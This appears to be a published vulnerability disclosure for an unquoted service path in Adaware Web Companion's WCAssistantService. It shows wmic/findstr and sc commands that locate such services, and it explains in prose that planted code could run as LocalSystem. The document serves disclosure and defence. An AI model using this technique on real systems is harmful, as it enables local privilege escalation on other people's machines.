38 lines
No EOL
1.6 KiB
Text
38 lines
No EOL
1.6 KiB
Text
# Exploit Title: Adaware Web Companion version 4.8.2078.3950 - 'WCAssistantService' Unquoted Service Path
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# Date: 2019-11-06
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# Exploit Author: Mariela L Martínez Hdez
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# Vendor Homepage: https://webcompanion.com/en/
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# Software Link: https://webcompanion.com/en/
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# Version: Adaware Web Companion version 4.8.2078.3950
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# Tested on: Windows 10 Home (64 bits)
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# 1. Description
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# Adaware Web Companion version 4.8.2078.3950 service 'WCAssistantService' has an unquoted service path.
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# 2. PoC
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C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /V "C:\Windows" | findstr /i /V """"
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WC Assistant WCAssistantService C:\Program Files (x86)\Lavasoft\Web Companion\Application\Lavasoft.WCAssistant.WinService.exe Auto
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C:\>sc qc WCAssistantService
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[SC] QueryServiceConfig CORRECTO
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NOMBRE_SERVICIO: WCAssistantService
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TIPO : 10 WIN32_OWN_PROCESS
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TIPO_INICIO : 2 AUTO_START
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CONTROL_ERROR : 1 NORMAL
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NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Lavasoft\Web Companion\Application\Lavasoft.WCAssistant.WinService.exe
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GRUPO_ORDEN_CARGA :
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ETIQUETA : 0
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NOMBRE_MOSTRAR : WC Assistant
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DEPENDENCIAS :
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NOMBRE_INICIO_SERVICIO: LocalSystem
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# 3. Exploit
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# A successful attempt would require the local user to be able to insert their code in the system
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# root path undetected by the OS or othersecurity applications where it could potentially be executed
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# during application startup or reboot. If successful, the local user's code would execute with
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# the elevated privileges of the application. |